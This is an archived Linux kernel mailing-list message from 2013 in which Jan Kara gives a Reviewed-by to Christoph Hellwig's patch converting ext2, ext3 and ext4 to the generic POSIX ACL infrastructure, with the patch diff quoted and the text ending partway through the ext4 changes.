1 + > fs/jfs/super.c | 2 + > fs/jfs/xattr.c | 108 ++++++++++++++++++---------------------------------- > 7 files changed, 89 insertions(+), 140 deletions(-) From jack@suse.cz Mon Dec 2 16:13:45 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id DBCC229E05 for ; Mon, 2 Dec 2013 16:13:45 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 8CDA48F8084 for ; Mon, 2 Dec 2013 14:13:45 -0800 (PST) X-ASG-Debug-ID: 1386022421-04bdf06eec492bb0001-NocioJ Received: from mx2.suse.de (cantor2.suse.de [195.135.220.15]) by cuda.sgi.com with ESMTP id ihxTHqlQjioYFetm for ; Mon, 02 Dec 2013 14:13:42 -0800 (PST) X-Barracuda-Envelope-From: jack@suse.cz X-Barracuda-Apparent-Source-IP: 195.135.220.15 Received: from relay1.suse.de (unknown [195.135.220.254]) by mx2.suse.de (Postfix) with ESMTP id 70DBBA7B6A; Mon, 2 Dec 2013 23:13:41 +0100 (CET) Received: by quack.suse.cz (Postfix, from userid 1000) id 008A281EF4; Mon, 2 Dec 2013 23:13:39 +0100 (CET) Date: Mon, 2 Dec 2013 23:13:39 +0100 From: Jan Kara To: Christoph Hellwig Cc: viro@zeniv.linux.org.uk, linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org Subject: Re: [PATCH 08/18] ext2/3/4: use generic posix ACL infrastructure Message-ID: <20131202221339.GI12253@quack.suse.cz> X-ASG-Orig-Subj: Re: [PATCH 08/18] ext2/3/4: use generic posix ACL infrastructure References: <20131201115903.910559036@bombadil.infradead.org> <20131201120655.018342089@bombadil.infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131201120655.018342089@bombadil.infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: cantor2.suse.de[195.135.220.15] X-Barracuda-Start-Time: 1386022421 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.60 X-Barracuda-Spam-Status: No, SCORE=2.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MV0249, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142791 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 2.00 BSF_SC0_MV0249 Custom rule MV0249 On Sun 01-12-13 03:59:11, Christoph Hellwig wrote: > Signed-off-by: Christoph Hellwig Looks good. You can add: Reviewed-by: Jan Kara Honza > --- > fs/ext2/acl.c | 176 ++++----------------------------------------- > fs/ext2/acl.h | 8 +-- > fs/ext2/file.c | 1 + > fs/ext2/inode.c | 2 +- > fs/ext2/namei.c | 2 + > fs/ext2/xattr.c | 8 +-- > fs/ext2/xattr.h | 2 - > fs/ext3/acl.c | 213 ++++++++----------------------------------------------- > fs/ext3/acl.h | 9 +-- > fs/ext3/file.c | 1 + > fs/ext3/inode.c | 2 +- > fs/ext3/namei.c | 2 + > fs/ext3/xattr.c | 8 +-- > fs/ext3/xattr.h | 2 - > fs/ext4/acl.c | 213 ++++++++----------------------------------------------- > fs/ext4/acl.h | 9 +-- > fs/ext4/file.c | 1 + > fs/ext4/inode.c | 2 +- > fs/ext4/namei.c | 2 + > fs/ext4/xattr.c | 8 +-- > fs/ext4/xattr.h | 2 - > 21 files changed, 100 insertions(+), 573 deletions(-) > > diff --git a/fs/ext2/acl.c b/fs/ext2/acl.c > index 6e842a7..f04a295 100644 > --- a/fs/ext2/acl.c > +++ b/fs/ext2/acl.c > @@ -189,8 +189,8 @@ ext2_get_acl(struct inode *inode, int type) > /* > * inode->i_mutex: down > */ > -static int > -ext2_set_acl(struct inode *inode, int type, struct posix_acl *acl) > +int > +ext2_set_acl(struct inode *inode, struct posix_acl *acl, int type) > { > int name_index; > void *value = NULL; > @@ -250,169 +250,21 @@ ext2_set_acl(struct inode *inode, int type, struct posix_acl *acl) > int > ext2_init_acl(struct inode *inode, struct inode *dir) > { > - struct posix_acl *acl = NULL; > - int error = 0; > - > - if (!S_ISLNK(inode->i_mode)) { > - if (test_opt(dir->i_sb, POSIX_ACL)) { > - acl = ext2_get_acl(dir, ACL_TYPE_DEFAULT); > - if (IS_ERR(acl)) > - return PTR_ERR(acl); > - } > - if (!acl) > - inode->i_mode &= ~current_umask(); > - } > - if (test_opt(inode->i_sb, POSIX_ACL) && acl) { > - if (S_ISDIR(inode->i_mode)) { > - error = ext2_set_acl(inode, ACL_TYPE_DEFAULT, acl); > - if (error) > - goto cleanup; > - } > - error = __posix_acl_create(&acl, GFP_KERNEL, &inode->i_mode); > - if (error < 0) > - return error; > - if (error > 0) { > - /* This is an extended ACL */ > - error = ext2_set_acl(inode, ACL_TYPE_ACCESS, acl); > - } > - } > -cleanup: > - posix_acl_release(acl); > - return error; > -} > - > -/* > - * Does chmod for an inode that may have an Access Control List. The > - * inode->i_mode field must be updated to the desired value by the caller > - * before calling this function. > - * Returns 0 on success, or a negative error number. > - * > - * We change the ACL rather than storing some ACL entries in the file > - * mode permission bits (which would be more efficient), because that > - * would break once additional permissions (like ACL_APPEND, ACL_DELETE > - * for directories) are added. There are no more bits available in the > - * file mode. > - * > - * inode->i_mutex: down > - */ > -int > -ext2_acl_chmod(struct inode *inode) > -{ > - struct posix_acl *acl; > - int error; > + struct posix_acl *default_acl, *acl; > + int error; > > - if (!test_opt(inode->i_sb, POSIX_ACL)) > - return 0; > - if (S_ISLNK(inode->i_mode)) > - return -EOPNOTSUPP; > - acl = ext2_get_acl(inode, ACL_TYPE_ACCESS); > - if (IS_ERR(acl) || !acl) > - return PTR_ERR(acl); > - error = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); > + error = posix_acl_create(dir, &inode->i_mode, &default_acl, &acl); > if (error) > return error; > - error = ext2_set_acl(inode, ACL_TYPE_ACCESS, acl); > - posix_acl_release(acl); > - return error; > -} > - > -/* > - * Extended attribut handlers > - */ > -static size_t > -ext2_xattr_list_acl_access(struct dentry *dentry, char *list, size_t list_size, > - const char *name, size_t name_len, int type) > -{ > - const size_t size = sizeof(POSIX_ACL_XATTR_ACCESS); > - > - if (!test_opt(dentry->d_sb, POSIX_ACL)) > - return 0; > - if (list && size <= list_size) > - memcpy(list, POSIX_ACL_XATTR_ACCESS, size); > - return size; > -} > > -static size_t > -ext2_xattr_list_acl_default(struct dentry *dentry, char *list, size_t list_size, > - const char *name, size_t name_len, int type) > -{ > - const size_t size = sizeof(POSIX_ACL_XATTR_DEFAULT); > - > - if (!test_opt(dentry->d_sb, POSIX_ACL)) > - return 0; > - if (list && size <= list_size) > - memcpy(list, POSIX_ACL_XATTR_DEFAULT, size); > - return size; > -} > - > -static int > -ext2_xattr_get_acl(struct dentry *dentry, const char *name, void *buffer, > - size_t size, int type) > -{ > - struct posix_acl *acl; > - int error; > - > - if (strcmp(name, "") != 0) > - return -EINVAL; > - if (!test_opt(dentry->d_sb, POSIX_ACL)) > - return -EOPNOTSUPP; > - > - acl = ext2_get_acl(dentry->d_inode, type); > - if (IS_ERR(acl)) > - return PTR_ERR(acl); > - if (acl == NULL) > - return -ENODATA; > - error = posix_acl_to_xattr(&init_user_ns, acl, buffer, size); > - posix_acl_release(acl); > - > - return error; > -} > - > -static int > -ext2_xattr_set_acl(struct dentry *dentry, const char *name, const void *value, > - size_t size, int flags, int type) > -{ > - struct posix_acl *acl; > - int error; > - > - if (strcmp(name, "") != 0) > - return -EINVAL; > - if (!test_opt(dentry->d_sb, POSIX_ACL)) > - return -EOPNOTSUPP; > - if (!inode_owner_or_capable(dentry->d_inode)) > - return -EPERM; > - > - if (value) { > - acl = posix_acl_from_xattr(&init_user_ns, value, size); > - if (IS_ERR(acl)) > - return PTR_ERR(acl); > - else if (acl) { > - error = posix_acl_valid(acl); > - if (error) > - goto release_and_out; > - } > - } else > - acl = NULL; > - > - error = ext2_set_acl(dentry->d_inode, type, acl); > - > -release_and_out: > - posix_acl_release(acl); > + if (default_acl) { > + error = ext2_set_acl(inode, default_acl, ACL_TYPE_DEFAULT); > + posix_acl_release(default_acl); > + } > + if (acl) { > + if (!error) > + error = ext2_set_acl(inode, acl, ACL_TYPE_ACCESS); > + posix_acl_release(acl); > + } > return error; > } > - > -const struct xattr_handler ext2_xattr_acl_access_handler = { > - .prefix = POSIX_ACL_XATTR_ACCESS, > - .flags = ACL_TYPE_ACCESS, > - .list = ext2_xattr_list_acl_access, > - .get = ext2_xattr_get_acl, > - .set = ext2_xattr_set_acl, > -}; > - > -const struct xattr_handler ext2_xattr_acl_default_handler = { > - .prefix = POSIX_ACL_XATTR_DEFAULT, > - .flags = ACL_TYPE_DEFAULT, > - .list = ext2_xattr_list_acl_default, > - .get = ext2_xattr_get_acl, > - .set = ext2_xattr_set_acl, > -}; > diff --git a/fs/ext2/acl.h b/fs/ext2/acl.h > index 503bfb0..44937f9 100644 > --- a/fs/ext2/acl.h > +++ b/fs/ext2/acl.h > @@ -55,7 +55,7 @@ static inline int ext2_acl_count(size_t size) > > /* acl.c */ > extern struct posix_acl *ext2_get_acl(struct inode *inode, int type); > -extern int ext2_acl_chmod (struct inode *); > +extern int ext2_set_acl(struct inode *inode, struct posix_acl *acl, int type); > extern int ext2_init_acl (struct inode *, struct inode *); > > #else > @@ -63,12 +63,6 @@ extern int ext2_init_acl (struct inode *, struct inode *); > #define ext2_get_acl NULL > #define ext2_set_acl NULL > > -static inline int > -ext2_acl_chmod (struct inode *inode) > -{ > - return 0; > -} > - > static inline int ext2_init_acl (struct inode *inode, struct inode *dir) > { > return 0; > diff --git a/fs/ext2/file.c b/fs/ext2/file.c > index a5b3a5d..44c36e5 100644 > --- a/fs/ext2/file.c > +++ b/fs/ext2/file.c > @@ -103,5 +103,6 @@ const struct inode_operations ext2_file_inode_operations = { > #endif > .setattr = ext2_setattr, > .get_acl = ext2_get_acl, > + .set_acl = ext2_set_acl, > .fiemap = ext2_fiemap, > }; > diff --git a/fs/ext2/inode.c b/fs/ext2/inode.c > index 8a33764..1be8866 100644 > --- a/fs/ext2/inode.c > +++ b/fs/ext2/inode.c > @@ -1566,7 +1566,7 @@ int ext2_setattr(struct dentry *dentry, struct iattr *iattr) > } > setattr_copy(inode, iattr); > if (iattr->ia_valid & ATTR_MODE) > - error = ext2_acl_chmod(inode); > + error = posix_acl_chmod(inode); > mark_inode_dirty(inode); > > return error; > diff --git a/fs/ext2/namei.c b/fs/ext2/namei.c > index 256dd5f..c268d0a 100644 > --- a/fs/ext2/namei.c > +++ b/fs/ext2/namei.c > @@ -421,6 +421,7 @@ const struct inode_operations ext2_dir_inode_operations = { > #endif > .setattr = ext2_setattr, > .get_acl = ext2_get_acl, > + .set_acl = ext2_set_acl, > .tmpfile = ext2_tmpfile, > }; > > @@ -433,4 +434,5 @@ const struct inode_operations ext2_special_inode_operations = { > #endif > .setattr = ext2_setattr, > .get_acl = ext2_get_acl, > + .set_acl = ext2_set_acl, > }; > diff --git a/fs/ext2/xattr.c b/fs/ext2/xattr.c > index 2d7557d..9142614 100644 > --- a/fs/ext2/xattr.c > +++ b/fs/ext2/xattr.c > @@ -103,8 +103,8 @@ static struct mb_cache *ext2_xattr_cache; > static const struct xattr_handler *ext2_xattr_handler_map[] = { > [EXT2_XATTR_INDEX_USER] = &ext2_xattr_user_handler, > #ifdef CONFIG_EXT2_FS_POSIX_ACL > - [EXT2_XATTR_INDEX_POSIX_ACL_ACCESS] = &ext2_xattr_acl_access_handler, > - [EXT2_XATTR_INDEX_POSIX_ACL_DEFAULT] = &ext2_xattr_acl_default_handler, > + [EXT2_XATTR_INDEX_POSIX_ACL_ACCESS] = &posix_acl_access_xattr_handler, > + [EXT2_XATTR_INDEX_POSIX_ACL_DEFAULT] = &posix_acl_default_xattr_handler, > #endif > [EXT2_XATTR_INDEX_TRUSTED] = &ext2_xattr_trusted_handler, > #ifdef CONFIG_EXT2_FS_SECURITY > @@ -116,8 +116,8 @@ const struct xattr_handler *ext2_xattr_handlers[] = { > &ext2_xattr_user_handler, > &ext2_xattr_trusted_handler, > #ifdef CONFIG_EXT2_FS_POSIX_ACL > - &ext2_xattr_acl_access_handler, > - &ext2_xattr_acl_default_handler, > + &posix_acl_access_xattr_handler, > + &posix_acl_default_xattr_handler, > #endif > #ifdef CONFIG_EXT2_FS_SECURITY > &ext2_xattr_security_handler, > diff --git a/fs/ext2/xattr.h b/fs/ext2/xattr.h > index 5e41ccc..60edf29 100644 > --- a/fs/ext2/xattr.h > +++ b/fs/ext2/xattr.h > @@ -57,8 +57,6 @@ struct ext2_xattr_entry { > > extern const struct xattr_handler ext2_xattr_user_handler; > extern const struct xattr_handler ext2_xattr_trusted_handler; > -extern const struct xattr_handler ext2_xattr_acl_access_handler; > -extern const struct xattr_handler ext2_xattr_acl_default_handler; > extern const struct xattr_handler ext2_xattr_security_handler; > > extern ssize_t ext2_listxattr(struct dentry *, char *, size_t); > diff --git a/fs/ext3/acl.c b/fs/ext3/acl.c > index 4f3d8fa..e9cb33f 100644 > --- a/fs/ext3/acl.c > +++ b/fs/ext3/acl.c > @@ -190,7 +190,7 @@ ext3_get_acl(struct inode *inode, int type) > * inode->i_mutex: down unless called from ext3_new_inode > */ > static int > -ext3_set_acl(handle_t *handle, struct inode *inode, int type, > +__ext3_set_acl(handle_t *handle, struct inode *inode, int type, > struct posix_acl *acl) > { > int name_index; > @@ -243,204 +243,49 @@ ext3_set_acl(handle_t *handle, struct inode *inode, int type, > return error; > } > > -/* > - * Initialize the ACLs of a new inode. Called from ext3_new_inode. > - * > - * dir->i_mutex: down > - * inode->i_mutex: up (access to inode is still exclusive) > - */ > -int > -ext3_init_acl(handle_t *handle, struct inode *inode, struct inode *dir) > -{ > - struct posix_acl *acl = NULL; > - int error = 0; > - > - if (!S_ISLNK(inode->i_mode)) { > - if (test_opt(dir->i_sb, POSIX_ACL)) { > - acl = ext3_get_acl(dir, ACL_TYPE_DEFAULT); > - if (IS_ERR(acl)) > - return PTR_ERR(acl); > - } > - if (!acl) > - inode->i_mode &= ~current_umask(); > - } > - if (test_opt(inode->i_sb, POSIX_ACL) && acl) { > - if (S_ISDIR(inode->i_mode)) { > - error = ext3_set_acl(handle, inode, > - ACL_TYPE_DEFAULT, acl); > - if (error) > - goto cleanup; > - } > - error = __posix_acl_create(&acl, GFP_NOFS, &inode->i_mode); > - if (error < 0) > - return error; > - > - if (error > 0) { > - /* This is an extended ACL */ > - error = ext3_set_acl(handle, inode, ACL_TYPE_ACCESS, acl); > - } > - } > -cleanup: > - posix_acl_release(acl); > - return error; > -} > - > -/* > - * Does chmod for an inode that may have an Access Control List. The > - * inode->i_mode field must be updated to the desired value by the caller > - * before calling this function. > - * Returns 0 on success, or a negative error number. > - * > - * We change the ACL rather than storing some ACL entries in the file > - * mode permission bits (which would be more efficient), because that > - * would break once additional permissions (like ACL_APPEND, ACL_DELETE > - * for directories) are added. There are no more bits available in the > - * file mode. > - * > - * inode->i_mutex: down > - */ > int > -ext3_acl_chmod(struct inode *inode) > +ext3_set_acl(struct inode *inode, struct posix_acl *acl, int type) > { > - struct posix_acl *acl; > handle_t *handle; > - int retries = 0; > - int error; > + int error, retries = 0; > > - if (S_ISLNK(inode->i_mode)) > - return -EOPNOTSUPP; > - if (!test_opt(inode->i_sb, POSIX_ACL)) > - return 0; > - acl = ext3_get_acl(inode, ACL_TYPE_ACCESS); > - if (IS_ERR(acl) || !acl) > - return PTR_ERR(acl); > - error = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); > - if (error) > - return error; > retry: > - handle = ext3_journal_start(inode, > - EXT3_DATA_TRANS_BLOCKS(inode->i_sb)); > - if (IS_ERR(handle)) { > - error = PTR_ERR(handle); > - ext3_std_error(inode->i_sb, error); > - goto out; > - } > - error = ext3_set_acl(handle, inode, ACL_TYPE_ACCESS, acl); > + handle = ext3_journal_start(inode, EXT3_DATA_TRANS_BLOCKS(inode->i_sb)); > + if (IS_ERR(handle)) > + return PTR_ERR(handle); > + error = __ext3_set_acl(handle, inode, type, acl); > ext3_journal_stop(handle); > - if (error == -ENOSPC && > - ext3_should_retry_alloc(inode->i_sb, &retries)) > + if (error == -ENOSPC && ext3_should_retry_alloc(inode->i_sb, &retries)) > goto retry; > -out: > - posix_acl_release(acl); > return error; > } > > /* > - * Extended attribute handlers > + * Initialize the ACLs of a new inode. Called from ext3_new_inode. > + * > + * dir->i_mutex: down > + * inode->i_mutex: up (access to inode is still exclusive) > */ > -static size_t > -ext3_xattr_list_acl_access(struct dentry *dentry, char *list, size_t list_len, > - const char *name, size_t name_len, int type) > -{ > - const size_t size = sizeof(POSIX_ACL_XATTR_ACCESS); > - > - if (!test_opt(dentry->d_sb, POSIX_ACL)) > - return 0; > - if (list && size <= list_len) > - memcpy(list, POSIX_ACL_XATTR_ACCESS, size); > - return size; > -} > - > -static size_t > -ext3_xattr_list_acl_default(struct dentry *dentry, char *list, size_t list_len, > - const char *name, size_t name_len, int type) > -{ > - const size_t size = sizeof(POSIX_ACL_XATTR_DEFAULT); > - > - if (!test_opt(dentry->d_sb, POSIX_ACL)) > - return 0; > - if (list && size <= list_len) > - memcpy(list, POSIX_ACL_XATTR_DEFAULT, size); > - return size; > -} > - > -static int > -ext3_xattr_get_acl(struct dentry *dentry, const char *name, void *buffer, > - size_t size, int type) > +int > +ext3_init_acl(handle_t *handle, struct inode *inode, struct inode *dir) > { > - struct posix_acl *acl; > + struct posix_acl *default_acl, *acl; > int error; > > - if (strcmp(name, "") != 0) > - return -EINVAL; > - if (!test_opt(dentry->d_sb, POSIX_ACL)) > - return -EOPNOTSUPP; > - > - acl = ext3_get_acl(dentry->d_inode, type); > - if (IS_ERR(acl)) > - return PTR_ERR(acl); > - if (acl == NULL) > - return -ENODATA; > - error = posix_acl_to_xattr(&init_user_ns, acl, buffer, size); > - posix_acl_release(acl); > - > - return error; > -} > - > -static int > -ext3_xattr_set_acl(struct dentry *dentry, const char *name, const void *value, > - size_t size, int flags, int type) > -{ > - struct inode *inode = dentry->d_inode; > - handle_t *handle; > - struct posix_acl *acl; > - int error, retries = 0; > - > - if (strcmp(name, "") != 0) > - return -EINVAL; > - if (!test_opt(inode->i_sb, POSIX_ACL)) > - return -EOPNOTSUPP; > - if (!inode_owner_or_capable(inode)) > - return -EPERM; > - > - if (value) { > - acl = posix_acl_from_xattr(&init_user_ns, value, size); > - if (IS_ERR(acl)) > - return PTR_ERR(acl); > - else if (acl) { > - error = posix_acl_valid(acl); > - if (error) > - goto release_and_out; > - } > - } else > - acl = NULL; > - > -retry: > - handle = ext3_journal_start(inode, EXT3_DATA_TRANS_BLOCKS(inode->i_sb)); > - if (IS_ERR(handle)) > - return PTR_ERR(handle); > - error = ext3_set_acl(handle, inode, type, acl); > - ext3_journal_stop(handle); > - if (error == -ENOSPC && ext3_should_retry_alloc(inode->i_sb, &retries)) > - goto retry; > + error = posix_acl_create(dir, &inode->i_mode, &default_acl, &acl); > + if (error) > + return error; > > -release_and_out: > - posix_acl_release(acl); > + if (default_acl) { > + error = __ext3_set_acl(handle, inode, ACL_TYPE_DEFAULT, > + default_acl); > + posix_acl_release(default_acl); > + } > + if (acl) { > + if (!error) > + error = __ext3_set_acl(handle, inode, ACL_TYPE_ACCESS, > + acl); > + posix_acl_release(acl); > + } > return error; > } > - > -const struct xattr_handler ext3_xattr_acl_access_handler = { > - .prefix = POSIX_ACL_XATTR_ACCESS, > - .flags = ACL_TYPE_ACCESS, > - .list = ext3_xattr_list_acl_access, > - .get = ext3_xattr_get_acl, > - .set = ext3_xattr_set_acl, > -}; > - > -const struct xattr_handler ext3_xattr_acl_default_handler = { > - .prefix = POSIX_ACL_XATTR_DEFAULT, > - .flags = ACL_TYPE_DEFAULT, > - .list = ext3_xattr_list_acl_default, > - .get = ext3_xattr_get_acl, > - .set = ext3_xattr_set_acl, > -}; > diff --git a/fs/ext3/acl.h b/fs/ext3/acl.h > index dbc921e..ea1c69e 100644 > --- a/fs/ext3/acl.h > +++ b/fs/ext3/acl.h > @@ -55,18 +55,13 @@ static inline int ext3_acl_count(size_t size) > > /* acl.c */ > extern struct posix_acl *ext3_get_acl(struct inode *inode, int type); > -extern int ext3_acl_chmod (struct inode *); > +extern int ext3_set_acl(struct inode *inode, struct posix_acl *acl, int type); > extern int ext3_init_acl (handle_t *, struct inode *, struct inode *); > > #else /* CONFIG_EXT3_FS_POSIX_ACL */ > #include > #define ext3_get_acl NULL > - > -static inline int > -ext3_acl_chmod(struct inode *inode) > -{ > - return 0; > -} > +#define ext3_set_acl NULL > > static inline int > ext3_init_acl(handle_t *handle, struct inode *inode, struct inode *dir) > diff --git a/fs/ext3/file.c b/fs/ext3/file.c > index 25cb413..aad0531 100644 > --- a/fs/ext3/file.c > +++ b/fs/ext3/file.c > @@ -75,6 +75,7 @@ const struct inode_operations ext3_file_inode_operations = { > .removexattr = generic_removexattr, > #endif > .get_acl = ext3_get_acl, > + .set_acl = ext3_set_acl, > .fiemap = ext3_fiemap, > }; > > diff --git a/fs/ext3/inode.c b/fs/ext3/inode.c > index 2bd8548..150b6c1 100644 > --- a/fs/ext3/inode.c > +++ b/fs/ext3/inode.c > @@ -3365,7 +3365,7 @@ int ext3_setattr(struct dentry *dentry, struct iattr *attr) > mark_inode_dirty(inode); > > if (ia_valid & ATTR_MODE) > - rc = ext3_acl_chmod(inode); > + rc = posix_acl_chmod(inode); > > err_out: > ext3_std_error(inode->i_sb, error); > diff --git a/fs/ext3/namei.c b/fs/ext3/namei.c > index f8cde46..f197736 100644 > --- a/fs/ext3/namei.c > +++ b/fs/ext3/namei.c > @@ -2569,6 +2569,7 @@ const struct inode_operations ext3_dir_inode_operations = { > .removexattr = generic_removexattr, > #endif > .get_acl = ext3_get_acl, > + .set_acl = ext3_set_acl, > }; > > const struct inode_operations ext3_special_inode_operations = { > @@ -2580,4 +2581,5 @@ const struct inode_operations ext3_special_inode_operations = { > .removexattr = generic_removexattr, > #endif > .get_acl = ext3_get_acl, > + .set_acl = ext3_set_acl, > }; > diff --git a/fs/ext3/xattr.c b/fs/ext3/xattr.c > index b1fc963..c6874be 100644 > --- a/fs/ext3/xattr.c > +++ b/fs/ext3/xattr.c > @@ -102,8 +102,8 @@ static struct mb_cache *ext3_xattr_cache; > static const struct xattr_handler *ext3_xattr_handler_map[] = { > [EXT3_XATTR_INDEX_USER] = &ext3_xattr_user_handler, > #ifdef CONFIG_EXT3_FS_POSIX_ACL > - [EXT3_XATTR_INDEX_POSIX_ACL_ACCESS] = &ext3_xattr_acl_access_handler, > - [EXT3_XATTR_INDEX_POSIX_ACL_DEFAULT] = &ext3_xattr_acl_default_handler, > + [EXT3_XATTR_INDEX_POSIX_ACL_ACCESS] = &posix_acl_access_xattr_handler, > + [EXT3_XATTR_INDEX_POSIX_ACL_DEFAULT] = &posix_acl_default_xattr_handler, > #endif > [EXT3_XATTR_INDEX_TRUSTED] = &ext3_xattr_trusted_handler, > #ifdef CONFIG_EXT3_FS_SECURITY > @@ -115,8 +115,8 @@ const struct xattr_handler *ext3_xattr_handlers[] = { > &ext3_xattr_user_handler, > &ext3_xattr_trusted_handler, > #ifdef CONFIG_EXT3_FS_POSIX_ACL > - &ext3_xattr_acl_access_handler, > - &ext3_xattr_acl_default_handler, > + &posix_acl_access_xattr_handler, > + &posix_acl_default_xattr_handler, > #endif > #ifdef CONFIG_EXT3_FS_SECURITY > &ext3_xattr_security_handler, > diff --git a/fs/ext3/xattr.h b/fs/ext3/xattr.h > index 2be4f69..32e93eb 100644 > --- a/fs/ext3/xattr.h > +++ b/fs/ext3/xattr.h > @@ -60,8 +60,6 @@ struct ext3_xattr_entry { > > extern const struct xattr_handler ext3_xattr_user_handler; > extern const struct xattr_handler ext3_xattr_trusted_handler; > -extern const struct xattr_handler ext3_xattr_acl_access_handler; > -extern const struct xattr_handler ext3_xattr_acl_default_handler; > extern const struct xattr_handler ext3_xattr_security_handler; > > extern ssize_t ext3_listxattr(struct dentry *, char *, size_t); > diff --git a/fs/ext4/acl.c b/fs/ext4/acl.c > index f827f3b..acaba0f 100644 > --- a/fs/ext4/acl.c > +++ b/fs/ext4/acl.c > @@ -196,7 +196,7 @@ ext4_get_acl(struct inode *inode, int type) > * inode->i_mutex: down unless called from ext4_new_inode > */ > static int > -ext4_set_acl(handle_t *handle, struct inode *inode, int type, > +__ext4_set_acl(handle_t *handle, struct inode *inode, int type, > struct posix_acl *acl) > { > int name_index; > @@ -248,208 +248,51 @@ ext4_set_acl(handle_t *handle, struct inode *inode, int type, > return error; > } > > -/* > - * Initialize the ACLs of a new inode. Called from ext4_new_inode. > - * > - * dir->i_mutex: down > - * inode->i_mutex: up (access to inode is still exclusive) > - */ > -int > -ext4_init_acl(handle_t *handle, struct inode *inode, struct inode *dir) > -{ > - struct posix_acl *acl = NULL; > - int error = 0; > - > - if (!S_ISLNK(inode->i_mode)) { > - if (test_opt(dir->i_sb, POSIX_ACL)) { > - acl = ext4_get_acl(dir, ACL_TYPE_DEFAULT); > - if (IS_ERR(acl)) > - return PTR_ERR(acl); > - } > - if (!acl) > - inode->i_mode &= ~current_umask(); > - } > - if (test_opt(inode->i_sb, POSIX_ACL) && acl) { > - if (S_ISDIR(inode->i_mode)) { > - error = ext4_set_acl(handle, inode, > - ACL_TYPE_DEFAULT, acl); > - if (error) > - goto cleanup; > - } > - error = __posix_acl_create(&acl, GFP_NOFS, &inode->i_mode); > - if (error < 0) > - return error; > - > - if (error > 0) { > - /* This is an extended ACL */ > - error = ext4_set_acl(handle, inode, ACL_TYPE_ACCESS, acl); > - } > - } > -cleanup: > - posix_acl_release(acl); > - return error; > -} > - > -/* > - * Does chmod for an inode that may have an Access Control List. The > - * inode->i_mode field must be updated to the desired value by the caller > - * before calling this function. > - * Returns 0 on success, or a negative error number. > - * > - * We change the ACL rather than storing some ACL entries in the file > - * mode permission bits (which would be more efficient), because that > - * would break once additional permissions (like ACL_APPEND, ACL_DELETE > - * for directories) are added. There are no more bits available in the > - * file mode. > - * > - * inode->i_mutex: down > - */ > int > -ext4_acl_chmod(struct inode *inode) > +ext4_set_acl(struct inode *inode, struct posix_acl *acl, int type) > { > - struct posix_acl *acl; > handle_t *handle; > - int retries = 0; > - int error; > - > + int error, retries = 0; > > - if (S_ISLNK(inode->i_mode)) > - return -EOPNOTSUPP; > - if (!test_opt(inode->i_sb, POSIX_ACL)) > - return 0; > - acl = ext4_get_acl(inode, ACL_TYPE_ACCESS); > - if (IS_ERR(acl) || !acl) > - return PTR_ERR(acl); > - error = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); > - if (error) > - return error; > retry: > handle = ext4_journal_start(inode, EXT4_HT_XATTR, > ext4_jbd2_credits_xattr(inode)); > - if (IS_ERR(handle)) { > - error = PTR_ERR(handle); > - ext4_std_error(inode->i_sb, error); > - goto out; > - } > - error = ext4_set_acl(handle, inode, ACL_TYPE_ACCESS, acl); > + if (IS_ERR(handle)) > + return PTR_ERR(handle); > + > + error = __ext4_set_acl(handle, inode, type, acl); > ext4_journal_stop(handle); > - if (error == -ENOSPC && > - ext4_should_retry_alloc(inode->i_sb, &retries)) > + if (error == -ENOSPC && ext4_should_retry_alloc(inode->i_sb, &retries)) > goto retry; > -out: > - posix_acl_release(acl); > return error; > } > > /* > - * Extended attribute handlers > + * Initialize the ACLs of a new inode. Called from ext4_new_inode. > + * > + * dir->i_mutex: down > + * inode->i_mutex: up (access to inode is still exclusive) > */ > -static size_t > -ext4_xattr_list_acl_access(struct dentry *dentry, char *list, size_t list_len, > - const char *name, size_t name_len, int type) > -{ > - const size_t size = sizeof(POSIX_ACL_XATTR_ACCESS); > - > - if (!test_opt(dentry->d_sb, POSIX_ACL)) > - return 0; > - if (list && size <= list_len) > - memcpy(list, POSIX_ACL_XATTR_ACCESS, size); > - return size; > -} > - > -static size_t > -ext4_xattr_list_acl_default(struct dentry *dentry, char *list, size_t list_len, > - const char *name, size_t name_len, int type) > -{ > - const size_t size = sizeof(POSIX_ACL_XATTR_DEFAULT); > - > - if (!test_opt(dentry->d_sb, POSIX_ACL)) > - return 0; > - if (list && size <= list_len) > - memcpy(list, POSIX_ACL_XATTR_DEFAULT, size); > - return size; > -} > - > -static int > -ext4_xattr_get_acl(struct dentry *dentry, const char *name, void *buffer, > - size_t size, int type) > +int > +ext4_init_acl(handle_t *handle, struct inode *inode, struct inode *dir) > { > - struct posix_acl *acl; > + struct posix_acl *default_acl, *acl; > int error; > > - if (strcmp(name, "") != 0) > - return -EINVAL; > - if (!test_opt(dentry->d_sb, POSIX_ACL)) > - return -EOPNOTSUPP; > - > - acl = ext4_get_acl(dentry->d_inode, type); > - if (IS_ERR(acl)) > - return PTR_ERR(acl); > - if (acl == NULL) > - return -ENODATA; > - error = posix_acl_to_xattr(&init_user_ns, acl, buffer, size); 